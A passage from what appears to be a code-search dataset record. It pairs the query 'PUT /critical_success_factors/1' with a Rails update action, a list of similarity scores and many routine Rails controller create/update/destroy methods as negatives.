"def create\n @facture = Facture.new(facture_params)\n @facture.user_id = session[:user]['id']\n @facture.id = generate_id\n\n @facture.montantTTC = @facture.montantTVA + @facture.montantHT\n # Verification sum(Facture) > encours\n client_encours = Client.find(@facture.client_id).encours\n sum = Facture.where('client_id': @facture.client_id).where('estRegle': 0 ).sum('montantTTC')\n\n if client_encours < sum + @facture.montantTTC\n redirect_to new_facture_path, danger: \"Vous ne pouvez pas créer cette facture ! La somme des factures non réglées est supérieur à l'envours de ce client\"\n\n else\n respond_to do |format|\n if @facture.save\n format.html { redirect_to @facture, success: 'Votre facture a été créée avec succès !' }\n format.json { render :show, status: :created, location: @facture }\n else\n format.html { render :new }\n format.json { render json: @facture.errors, status: :unprocessable_entity }\n end\n end\n end\n\n end",
"def create\n @scout_requirement = ScoutRequirement.new(scout_requirement_params)\n @scout_requirement.scout.recalc_rank_complete\n mark_rank_completed_after_bor\n\n respond_to do |format|\n if @scout_requirement.save\n # format.html { redirect_to @scout_requirement, notice: 'Scout requirement was successfully created.' }\n # format.json { render :show, status: :created, location: @scout_requirement }\n format.json { head :no_content }\n format.js\n else\n format.html { render :new }\n format.json { render json: @scout_requirement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @criterion_grade = CriterionGrade.new(criterion_grade_params)\n\n respond_to do |format|\n if @criterion_grade.save\n format.html { redirect_to @criterion_grade, notice: 'Criterion grade was successfully created.' }\n format.json { render action: 'show', status: :created, location: @criterion_grade }\n else\n format.html { render action: 'new' }\n format.json { render json: @criterion_grade.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n result = CreateMultiYearChart.call(\n Api::Scenario.find(params.require(:scenario_id).to_i),\n current_user\n )\n\n if result.successful?\n redirect_to helpers.myc_url(result.value)\n else\n flash.now[:error] = result.errors.join(', ')\n\n @scenarios = user_scenarios\n @multi_year_charts = user_multi_year_charts\n\n render :index, status: :unprocessable_entity\n end\n end",
"def create\n @chiropractic_compliance = ChiropracticCompliance.new(params[:chiropractic_compliance])\n\n respond_to do |format|\n if @chiropractic_compliance.save\n format.html { redirect_to @chiropractic_compliance, notice: 'Chiropractic compliance was successfully created.' }\n format.json { render json: @chiropractic_compliance, status: :created, location: @chiropractic_compliance }\n else\n format.html { render action: \"new\" }\n format.json { render json: @chiropractic_compliance.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @certified = Certified.new(certified_params)\n @certified.events = events\n @certified.attendees = attendees\n @certified.slug = generate_token\n @certified.user = self.current_user\n\n flash[:notice] = \"Certificado criado com sucesso.\" if @certified.save\n\n respond_with(@certified) do |format|\n format.html { redirect_to @certified }\n end\n end",
"def create\n @clinicalsection = Clinicalsection.new(params[:clinicalsection])\n\n respond_to do |format|\n if @clinicalsection.save\n format.html { redirect_to clinicalsections_path, notice: 'Clinical specialty was successfully created.' }\n format.json { render json: @clinicalsection, status: :created, location: @clinicalsection }\n else\n format.html { render action: \"new\" }\n format.json { render json: @clinicalsection.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @uni_major = UniMajor.new(params[:uni_major])\n\n respond_to do |format|\n if @uni_major.save\n format.html { redirect_to @uni_major, notice: 'Uni major was successfully created.' }\n format.json { render json: @uni_major, status: :created, location: @uni_major }\n else\n format.html { render action: \"new\" }\n format.json { render json: @uni_major.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : Entered in cfa titles create method\"\n begin\n params.permit!\n data=params[\"new cfa\"]\n cfa={:cfa_title=>{\"job_name\": params[:job_name]}}\n @cfa=RestClient.post $api_service+'/cfa_titles',cfa\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : cfa titles created successfully\"\n rescue => e\n Rails.logger.custom_log.error { \"#{e} Cfa controller create method\" }\n end\n redirect_to :action => \"index\"\n end",
"def create\n @competency_pertenece_evaluation = CompetencyPerteneceEvaluation.new(params[:competency_pertenece_evaluation])\n\n respond_to do |format|\n if @competency_pertenece_evaluation.save\n format.html { redirect_to @competency_pertenece_evaluation, notice: 'Competency pertenece evaluation was successfully created.' }\n format.json { render json: @competency_pertenece_evaluation, status: :created, location: @competency_pertenece_evaluation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @competency_pertenece_evaluation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @competency_unit = CompetencyUnit.new(competency_unit_params)\n @competency_unit.display_order = @certification_scheme.competency_units.count + 1\n\n respond_to do |format|\n if @competency_unit.save\n format.html { redirect_to certification_scheme_path(@competency_unit.certification_scheme), notice: 'Competency unit was successfully created.' }\n format.json { render :show, status: :created, location: @competency_unit }\n else\n format.html { render :new }\n format.json { render json: @competency_unit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n course = Course.find(params[:course_id])\n test = Test.find(params[:test_id])\n respond_to do |format|\n begin\n puts params[:absent].nil?\n i = 0\n Score.where(test: test).each do |score|\n if !score.update(value: (params[:\"absent#{i}\"]? -2 : params[:\"score-input#{i}\"]))\n raise\n end\n i += 1\n end\n rescue => exception\n format.html { render :edit }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n else\n format.html { redirect_to course_test_scores_path(course, test), notice: 'Scores were successfully updated.' }\n format.json { render :show, status: :ok, location: course_test_scores_path(course, test) }\n end\n end\n end",
"def update\n respond_to do |format|\n if @critical.update(critical_params)\n format.html { redirect_to @critical, notice: 'Critical was successfully updated.' }\n format.json { render :show, status: :ok, location: @critical }\n else\n format.html { render :edit }\n format.json { render json: @critical.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_batch\n all_months.each do |month|\n cash_flow = find_or_build_cash_flow(month, @category.id)\n\n cash_flow.planned = cash_flow_params[:value]\n cash_flow.save!\n end\n\n render json: { success: true }, status: :created\n end",
"def create\n complaint = Complaint.new(complaint_params)\n \n if complaint.save\n render json: {\n status: 'SUCCESS',\n message: 'Complaint Saved',\n data: complaint\n }, status: :ok\n else\n render json: {\n status: 'ERROR',\n message: 'Complaint not saved',\n data: complaint.errors\n }, status: :unprocessable_entity\n end\n\n check_complaint_sum = Complaint.all.where(\"survivor_id = ?\", params[:survivor_id]).sum(:survivor_id)\n\n if check_complaint_sum >= 5\n Survivor.where(\"id = ?\", params[:survivor_id]).update(infected: 't')\n end\n end",
"def create\n @preceed = Preceed.new(params[:preceed])\n\n respond_to do |format|\n if @preceed.save\n format.html { redirect_to @preceed, notice: 'Preceed was successfully created.' }\n format.json { render json: @preceed, status: :created, location: @preceed }\n else\n format.html { render action: \"new\" }\n format.json { render json: @preceed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user_has_credibility = UserHasCredibility.new(params[:user_has_credibility])\n\n respond_to do |format|\n if @user_has_credibility.save\n format.html { redirect_to @user_has_credibility, notice: 'User has credibility was successfully created.' }\n format.json { render json: @user_has_credibility, status: :created, location: @user_has_credibility }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user_has_credibility.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pursuit_metric = PursuitMetric.new(pursuit_metric_params)\n\n respond_to do |format|\n if @pursuit_metric.save\n format.html { redirect_to @pursuit_metric, notice: 'Pursuit metric was successfully created.' }\n format.json { render :show, status: :created, location: @pursuit_metric }\n else\n format.html { render :new }\n format.json { render json: @pursuit_metric.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @enrolled_course = EnrolledCourse.new(enrolled_course_params)\n\n respond_to do |format|\n if @enrolled_course.save\n format.html { redirect_to courses_path, notice: 'Enrolled course was successfully created.' }\n format.json { render :show, status: :created, location: @enrolled_course }\n else\n format.html { redirect_to new_enrolled_course_path, notice: 'Both student and class should be selected.' }\n format.json { render json: @enrolled_course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def request_counter\n unfulfilled = Request.where(status: 0)\n fulfilled = Request.where(status: 1)\n if unfulfilled && fulfilled\n render json: {\n status: 'success',\n message: 'Your requests counter result',\n data: {\n unfulfilled: unfulfilled.length(),\n fulfilled: fulfilled.length()\n }\n },\n status: :ok\n else\n render status: :unprocessable_entity\n end\n end",
"def destroy\n @stage_certainty_factor.destroy\n respond_to do |format|\n format.html { redirect_to stage_certainty_factors_url, notice: 'Stage certainty factor was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @key_feature = KeyFeature.new(key_feature_params)\n\n if @key_feature.save\n audit(@key_feature, current_user)\n render json: @key_feature, status: :created\n else\n render json: @key_feature.errors, status: :unprocessable_entity\n end\n end",
"def create\n\n \t\t\t@penalty = Penalty.new penalty_params\n\n \t\t\tif @penalty.save\n\n \t\t\t\trender json: @penalty,status: :created\n\n \t\t\telse\n\n \t\t\t\trender json: {error: true,errors: @penalty.errors},status: :unprocessable_entity\n\n \t\t\tend\n\n \t\tend",
"def create\n @incident_proof = IncidentProof.new(incident_proof_params)\n\n respond_to do |format|\n if @incident_proof.save\n format.html { redirect_to @incident_proof, notice: 'Incident proof was successfully created.' }\n format.json { render :show, status: :created, location: @incident_proof }\n else\n format.html { render :new }\n format.json { render json: @incident_proof.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @facility_total = FacilityTotal.new(params[:facility_total])\n\n respond_to do |format|\n if @facility_total.save\n format.html { redirect_to @facility_total, notice: 'Facility total was successfully created.' }\n format.json { render json: @facility_total, status: :created, location: @facility_total }\n else\n format.html { render action: \"new\" }\n format.json { render json: @facility_total.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @criterion = Criterion.new(params[:criterion])\n\n respond_to do |format|\n if @criterion.save\n format.html { redirect_to @criterion, notice: 'Criterion was successfully created.' }\n format.json { render json: @criterion, status: :created, location: @criterion }\n else\n format.html { render action: \"new\" }\n format.json { render json: @criterion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n result = CreateMultiYearChart.call(\n engine_client,\n current_user.saved_scenarios.find(params.require(:scenario_id)),\n current_user\n )\n\n if result.successful?\n redirect_to helpers.myc_url(result.value), allow_other_host: true\n else\n flash.now[:error] = result.errors.join(', ')\n\n @scenarios = user_scenarios\n @multi_year_charts = user_multi_year_charts\n\n render :index, status: :unprocessable_entity\n end\n end",
"def create\n @final_decision = FinalDecision.new(:user_id => session[:candidate], :interview_id => session[:interview_id], :decision => params[:decision])\n\n\n if @final_decision.save\n redirect_to organization_show_candidates_path\n else\n format.html { render action: 'new' }\n format.json { render json: @final_decision.errors, status: :unprocessable_entity }\n end\n\n end",
"def create\n\n params[:refill_type] = params[:refill_type].to_i\n params[:status] = params[:status].to_i\n params[:cost_basis] = params[:cost_basis].to_i\n params[:other_coverage_code] = params[:other_coverage_code].to_i\n params[:reason_for_delay] = params[:reason_for_delay].to_i\n params[:partial_fill_status] = params[:partial_fill_status].to_i\n params[:reported_to_pmp] = params[:reported_to_pmp].to_i\n\n @dispense = Dispense.new(dispense_params)\n\n respond_to do |format|\n if @dispense.save\n format.html { redirect_to @dispense, notice: 'Dispense was successfully created.' }\n format.json { render :show, status: :created, location: @dispense }\n else\n format.html { render :new }\n format.json { render json: @dispense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @fullassessment = Fullassessment.new(fullassessment_params)\n respond_to do |format|\n if @fullassessment.save\n format.json { render json: @fullassessment }\n else\n format.html { render :new }\n format.json { render json: @fullassessment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @compromise = Compromise.new(params[:compromise])\n\n respond_to do |format|\n if @compromise.save\n format.html { redirect_to @compromise, notice: 'Compromise was successfully created.' }\n format.json { render json: @compromise, status: :created, location: @compromise }\n else\n format.html { render action: \"new\" }\n format.json { render json: @compromise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n flash[:messages] = []\n puts \"create\"\n\n if params[:stress][:reason].present? and params[:stress][:response_type].present?\n session[:stress_reason] = params[:stress][:reason]\n session[:response_type] = params[:stress][:response_type]\n\n redirect_to \"/solutions\"\n else\n if not params[:stress][:reason].present?\n flash[:messages].push({ 'status' => 'error', 'text' => 'Reason cannot be blank.' })\n end\n if not params[:stress][:response_type].present?\n flash[:messages].push({ 'status' => 'error', 'text' => 'Response type cannot be blank.' })\n end\n redirect_to \"/\"\n end\n end",
"def create\n @undergraduate_major = UndergraduateMajor.new(params[:undergraduate_major])\n\n respond_to do |format|\n if @undergraduate_major.save\n format.html { redirect_to @undergraduate_major, notice: 'Undergraduate major was successfully created.' }\n format.json { render json: @undergraduate_major, status: :created, location: @undergraduate_major }\n else\n format.html { render action: \"new\" }\n format.json { render json: @undergraduate_major.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.70815897",
"0.67568547",
"0.6602582",
"0.6287686",
"0.6212863",
"0.6200802",
"0.6193872",
"0.6188759",
"0.60412735",
"0.6025456",
"0.5848939",
"0.5836134",
"0.575085",
"0.5743646",
"0.56773",
"0.5666445",
"0.56566066",
"0.56250733",
"0.5579509",
"0.55563235",
"0.5551971",
"0.55143183",
"0.55000055",
"0.54503876",
"0.5385552",
"0.5384203",
"0.5344467",
"0.5318712",
"0.5305969",
"0.5256892",
"0.5237853",
"0.5232433",
"0.52276313",
"0.52248514",
"0.52067405",
"0.5205041",
"0.5192762",
"0.5159718",
"0.5139834",
"0.51240337",
"0.5116872",
"0.5106216",
"0.5100117",
"0.5098565",
"0.50877225",
"0.5087123",
"0.5082513",
"0.50807637",
"0.50724643",
"0.50679415",
"0.5063668",
"0.50630677",
"0.50283426",
"0.50253576",
"0.50244784",
"0.50233436",
"0.5021937",
"0.5021157",
"0.5015402",
"0.50147456",
"0.5014699",
"0.500694",
"0.50019574",
"0.49718305",
"0.49683687",
"0.49566373",
"0.49547496",
"0.4942373",
"0.4934501",
"0.4932387",
"0.4924906",
"0.49196765",
"0.49174702",
"0.49140808",
"0.49123392",
"0.48871267",
"0.48805872",
"0.48716027",
"0.48694316",
"0.4865043",
"0.4860169",
"0.48573732",
"0.4852759",
"0.48490885",
"0.48451144",
"0.4842998",
"0.4841951",
"0.48417515",
"0.483716",
"0.4835763",
"0.4834926",
"0.48289528",
"0.4827152",
"0.48253512",
"0.4824561",
"0.48188943",
"0.48154762",
"0.48134416",
"0.4811928",
"0.48053816"
] | 0.745101 | 0 |
PUT /critical_success_factors/1 PUT /critical_success_factors/1.json | def update
@critical_success_factor = CriticalSuccessFactor.find(params[:id])
respond_to do |format|
if @critical_success_factor.update_attributes(params[:critical_success_factor])
format.html { redirect_to @critical_success_factor, notice: 'Critical success factor was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: "edit" }
format.json { render json: @critical_success_factor.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n @critical_factor = CriticalFactor.find(params[:id])\n\n respond_to do |format|\n if @critical_factor.update_attributes(params[:critical_factor])\n format.html { redirect_to @critical_factor, notice: 'Critical factor was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @critical_factor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @critical_success_factor = CriticalSuccessFactor.new(params[:critical_success_factor])\n @critical_success_factor.user = current_user\n @critical_success_factor.confidential = false\n\n respond_to do |format|\n if @critical_success_factor.save\n format.html { redirect_to @critical_success_factor, notice: 'Critical success factor was successfully created.' }\n format.json { render json: @critical_success_factor, status: :created, location: @critical_success_factor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @critical_success_factor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @critical_factor = CriticalFactor.new(params[:critical_factor])\n @critical_factor.user = current_user\n @critical_factor.confidential = false\n\n\n respond_to do |format|\n if @critical_factor.save\n format.html { redirect_to @critical_factor, notice: 'Critical factor was successfully created.'}\n format.json { render json: @critical_factor, status: :created, location: @critical_factor }\n\n else\n format.html { render action: \"new\" }\n format.json { render json: @critical_factor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @critical_success_factor_type = CriticalSuccessFactorType.find(params[:id])\n\n respond_to do |format|\n if @critical_success_factor_type.update_attributes(params[:critical_success_factor_type])\n format.html { redirect_to @critical_success_factor_type, notice: 'Tipo de Factor Crítico actualizado correctamente' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @critical_success_factor_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @critical_success_factor = CriticalSuccessFactor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @critical_success_factor }\n end\n end",
"def update\n respond_to do |format|\n if @critical.update(critical_params)\n format.html { redirect_to @critical, notice: 'Critical was successfully updated.' }\n format.json { render :show, status: :ok, location: @critical }\n else\n format.html { render :edit }\n format.json { render json: @critical.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n\n @critical_success_factors = CriticalSuccessFactor.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @critical_success_factors }\n end\n end",
"def destroy\n @critical_success_factor = CriticalSuccessFactor.find(params[:id])\n @critical_success_factor.destroy\n\n respond_to do |format|\n format.html { redirect_to critical_success_factors_url }\n format.json { head :no_content }\n end\n end",
"def show\n @critical_success_factor = CriticalSuccessFactor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @critical_success_factor }\n end\n end",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", {\"passed\" => success}.to_json, :content_type => :json\nend",
"def destroy\n @critical_factor = CriticalFactor.find(params[:id])\n @critical_factor.destroy\n\n respond_to do |format|\n format.html { redirect_to critical_factors_url }\n format.json { head :no_content }\n end\n end",
"def update\n respond_to do |format|\n if @stage_certainty_factor.update(stage_certainty_factor_params)\n format.html { redirect_to @stage_certainty_factor, notice: 'Stage certainty factor was successfully updated.' }\n format.json { render :show, status: :ok, location: @stage_certainty_factor }\n else\n format.html { render :edit }\n format.json { render json: @stage_certainty_factor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", { 'passed' => success }.to_json, :content_type => :json\nend",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", { 'passed' => success }.to_json, :content_type => :json\nend",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", { 'passed' => success }.to_json, :content_type => :json\nend",
"def update_progress_key_result\n key_result_id = params[:id]\n progress = params[:progress]\n initial_progress = params[:initial]\n contribution = params[:contribution]\n progress_decimal = BigDecimal.new(progress)\n initial_progress_decimal = BigDecimal.new(initial_progress)\n personal_key_result = PersonalKeyResult.find(key_result_id) \n\n status = PersonalKeyResult.update_progress_personal_key_result(\n key_result_id,\n progress_decimal,\n initial_progress_decimal,\n contribution,\n current_user.id\n )\n\n respond_to do |format|\n if status == 200\n format.json { render json: 'Progress of the key result is updated successfully!', status: :ok }\n else\n format.json { render json: 'Fail to update progress!', status: :unprocessable_entity }\n end\n end\n end",
"def update\n @factor = Factor.find(params[:id])\n\n respond_to do |format|\n if @factor.update_attributes(params[:factor])\n format.html { redirect_to @factor, notice: 'Factor was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @factor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @critical_factor = CriticalFactor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @critical_factor }\n end\n end",
"def new\n @critical_success_factor_type = CriticalSuccessFactorType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @critical_success_factor_type }\n end\n end",
"def index\n @critical_factors = CriticalFactor.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @critical_factors }\n end\n end",
"def update\n @factors_user = FactorsUser.find(params[:id])\n\n respond_to do |format|\n if @factors_user.update_attributes(params[:factors_user])\n format.html { redirect_to @factors_user, notice: 'Factors user was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @factors_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @critical_question = CriticalQuestion.find(params[:id])\n\n respond_to do |format|\n if @critical_question.update_attributes(params[:critical_question])\n format.html { redirect_to @critical_question, notice: 'Critical question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @critical_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def cfa_update\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : Entered in cfa titles cfa_update method\"\n \n begin\n params.permit!\n data=params[\"cfas\"]\n cfa={:cfa_title=>{\"job_name\": params[:job_name]}}\n cfa=RestClient.put $api_service+'/cfa_titles/'+data[:id],cfa \n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : cfa_updated successfully\"\n rescue =>e\n Rails.logger.custom_log.error { \"#{e}cfas_controller cfa_update method\" }\n end\n redirect_to :action => \"index\"\n # redirect_to :action => \"show\" ,:id=>data[:id]\n end",
"def show\n @critical_factor = CriticalFactor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @critical_factor }\n end\n end",
"def create\n @critical = Critical.new(critical_params)\n\n respond_to do |format|\n if @critical.save\n format.html { redirect_to @critical, notice: 'Critical was successfully created.' }\n format.json { render :show, status: :created, location: @critical }\n else\n format.html { render :new }\n format.json { render json: @critical.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @faculty.update(faculty_params)\n head :no_content\n end",
"def create\n @critical_success_factor_type = CriticalSuccessFactorType.new(params[:critical_success_factor_type])\n\n respond_to do |format|\n if @critical_success_factor_type.save\n format.html { redirect_to @critical_success_factor_type, notice: 'Tipo de Factor Crítico registrado correctamente.' }\n format.json { render json: @critical_success_factor_type, status: :created, location: @critical_success_factor_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @critical_success_factor_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @statistic.update(statistic_params)\n create_factors_for_statistic(@statistic)\n format.html { redirect_to @statistic, notice: 'Statistic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @statistic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @technological_factor.update(technological_factor_params)\n format.html { redirect_to @technological_factor, notice: 'Technological factor was successfully updated.' }\n format.json { render :show, status: :ok, location: @technological_factor }\n else\n format.html { render :edit }\n format.json { render json: @technological_factor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to :json\n\n if @expense_claim.update(expense_claim_params)\n head :ok\n else\n render partial: 'expense_claim_key_data', layout: false, status: :ok, locals: { expense_claim: @expense_claim }\n end\n end",
"def update\n respond_to do |format|\n if @success_criterion.update(success_criterion_params)\n format.html { redirect_to crits_path(@success_criterion.user_story), notice: 'Success criterion was successfully updated.' }\n format.json { render :show, status: :ok, location: @success_criterion }\n else\n format.html { render :edit }\n format.json { render json: @success_criterion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n access(:update)\n checked_params = check_params(FAILURE_PROPERTIES)\n checked_params[\"device\"] = Device.find(failure_params[\"device_id\"])\n checked_params[\"announcer\"] = Employee.find(failure_params[\"announcer_id\"])\n if failure_params[\"technician_id\"]\n checked_params[\"technician\"] = Employee.find(failure_params[\"technician_id\"])\n end\n\n respond_to do |format|\n if @failure.update(checked_params)\n format.html { redirect_to @failure}\n format.json { render :show, status: :ok, location: @failure }\n else\n format.html { render :edit }\n format.json { render json: @failure.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @critical_success_factor_type = CriticalSuccessFactorType.find(params[:id])\n @critical_success_factor_type.destroy\n\n respond_to do |format|\n format.html { redirect_to critical_success_factor_types_url }\n format.json { head :no_content }\n end\n end",
"def update\n url = 'https://casa-core.herokuapp.com/api/units/' + params[:id]\n query = {\n 'name' => params[:name]\n }\n response = HTTParty.put(url, :query => query, :headers => { \"Authorization\" => AUTH, \"Host\" => HOST})\n\n if response.code == 200\n redirect_to unit_path(params[:id]), notice: 'Unit was successfully updated.'\n else\n redirect_to unit_path(params[:id]), notice: 'Sheesh! Minor hiccup...run that again!'\n end\n end",
"def update\n respond_to do |format|\n if @socio_cultural_factor.update(socio_cultural_factor_params)\n format.html { redirect_to @socio_cultural_factor, notice: 'Socio cultural factor was successfully updated.' }\n format.json { render :show, status: :ok, location: @socio_cultural_factor }\n else\n format.html { render :edit }\n format.json { render json: @socio_cultural_factor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @criterion = Criterion.find(params[:id])\n\n if @criterion.update_attributes(params[:criterion])\n head :no_content\n else\n render json: @criterion.errors, status: :unprocessable_entity\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n @complaint = Complaint.find(params[:id])\n\n if @complaint.update_attributes(params[:complaint])\n head :no_content\n else\n render json: @complaint.errors, status: :unprocessable_entity\n end\n end",
"def update!(**args)\n @success_resource_count = args[:success_resource_count] if args.key?(:success_resource_count)\n end",
"def update\n respond_to do |format|\n if @form_factor.update(form_factor_params)\n format.html { redirect_to @form_factor, notice: 'Form factor was successfully updated.' }\n format.json { render :show, status: :ok, location: @form_factor }\n else\n format.html { render :edit }\n format.json { render json: @form_factor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @feat = @person.feats.find(params[:id])\n level_old = @person.level\n\n if params[:feat][:completed] == '1'\n @feat.complete\n else\n @feat.uncomplete\n end\n sign = params[:feat][:completed] == '1' ? '+': '-'\n \n has_leveled = @person.level > level_old\n\n respond_to do |format|\n format.json { render :json => {\n :xpGained => \"#{sign}#{@feat.xp}\",\n :xpTotal => @person.xp,\n :next_level_ratio => @person.next_level_ratio,\n :extra_life => @person.level_to_string,\n :has_leveled => has_leveled,\n :completed => @feat.completed,\n :streak => @feat.calculate_streak}}\n \n end\n\n end",
"def guardian_update_factor(name, body)\n raise Auth0::MissingParameter, 'Must supply a valid name' if name.to_s.empty?\n raise Auth0::InvalidParameter, 'Must supply a valid body' if body.to_s.empty?\n\n path = \"#{guardian_factors_path}/#{name}\"\n put(path, body)\n end",
"def update\n @risk_classification = RiskClassification.find(params[:id])\n\n respond_to do |format|\n if @risk_classification.update_attributes(params[:risk_classification])\n format.html { redirect_to @risk_classification, notice: 'Risk classification was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @risk_classification.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @code_factor = CodeFactor.find(params[:id])\n\n respond_to do |format|\n if @code_factor.update_attributes(params[:code_factor])\n format.html { redirect_to(@code_factor, :notice => 'CodeFactor was successfully updated.') }\n format.xml { head :ok }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @code_factor.errors, :status => :unprocessable_entity }\n format.json { render :json => @code_factor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @cluster = Cluster.find(params[:id])\n\n respond_to do |format|\n if @cluster.update_attributes(params[:cluster])\n format.html { redirect_to @cluster, notice: 'Cluster was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cluster.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @critical_success_factor_types = CriticalSuccessFactorType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @critical_success_factor_types }\n end\n end",
"def update\n @commission_fixing = CommissionFixing.find(params[:id])\n if @commission_fixing.update_attributes(params[:commission_fixing])\n render :json=>{:response=>\"success\"}\n else\n render :json=>failure1(@commission_fixing.errors)\n end \n end",
"def update\n respond_to do |format|\n if @clase_unit.update(clase_unit_params)\n format.html { redirect_to @clase_unit, notice: 'Clase unit was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @clase_unit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @compromise = Compromise.find(params[:id])\n\n if @compromise.update(compromise_params)\n Notification.delete_all([\"compromise_id = ?\", @compromise.id])\n create_for_each_notification_type(@compromise)\n head :no_content\n else\n render json: @compromise.errors, status: :unprocessable_entity\n end\n end",
"def update\n @when_factor = WhenFactor.find(params[:id])\n\n respond_to do |format|\n if @when_factor.update_attributes(params[:when_factor])\n format.html { redirect_to(@when_factor, :notice => 'WhenFactor was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @when_factor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n @critical_success_factor_type = CriticalSuccessFactorType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @critical_success_factor_type }\n end\n end",
"def critical_params\n params.require(:critical).permit(:result_id, :karuta_id, :field_id)\n end",
"def update\n # @person = Person.find(params[:id])\n # @person.pct_complete = @person.requirement_progress\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, :notice => 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @person.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @incident = Incident.find(params[:id])\n\n if @incident.update(incident_params)\n head :no_content\n else\n render json: @incident.errors, status: :unprocessable_entity\n end\n end",
